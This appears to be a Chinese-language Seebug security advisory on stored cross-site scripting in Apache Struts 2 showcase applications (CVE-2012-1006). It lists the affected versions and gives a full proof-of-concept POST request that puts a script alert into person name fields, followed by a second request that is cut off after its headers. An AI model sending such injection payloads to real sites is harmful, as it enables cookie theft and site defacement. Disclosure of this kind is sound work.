Apache Struts多个HTML代码注入漏洞

2012-02-0900:00:00

Root

www.seebug.org

0.614 Medium

EPSS

Percentile

97.8%

JSON

BUGTRAQ ID: 51902
CVE ID: CVE-2012-1006

Apache Struts是一款开发Java web应用程序的开源Web应用框架。

Apache Struts在实现上存在多个HTML注入漏洞，攻击者可利用这些漏洞在受影响浏览器中运行HTML和脚本代码，窃取Cookie身份验证凭证或控制站点外观。
0
Apache Group Struts 2.2.3
Apache Group Struts 2.0.14
厂商补丁：

Apache Group

目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://httpd.apache.org/


                                                POC 1:
-----
Stored XSS

POST struts2-showcase/person/editPerson.action HTTP/1.1

Host: SERVER_IP:8080
User-Agent: struts2-showcase XSS-TEST
Content-Type: application/x-www-form-urlencoded
Content-Length: 192

Post Data:
----------
persons%281%29.name=%3Cscript%3Ealert%28%22SecPod-XSS-TEST%22%29%3C%2Fscript
%3E&amp;persons%281%29.lastName=%3Cscript%3Ealert%28%22SecPod-XSS-TEST%22%29%3C%2
Fscript%3E&amp;method%3Asave=Save+all+persons


POC 2:
-----
Stored XSS

POST /struts2-rest-showcase/orders HTTP/1.1

Host: SERVER_IP:8080
User-Agent: struts2-rest-showcase XSS-TEST
Content-Type: application/x-www-form-urlencoded
Content-Length: 78

0.614 Medium

EPSS

Percentile

97.8%

JSON

Related for SSV:30098